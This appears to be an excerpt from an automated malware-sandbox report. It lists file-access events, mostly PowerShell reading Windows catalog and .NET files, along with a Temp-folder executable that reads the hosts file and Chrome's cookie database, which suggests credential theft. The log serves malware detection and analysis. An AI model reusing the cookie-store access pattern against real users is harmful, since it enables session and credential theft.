Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
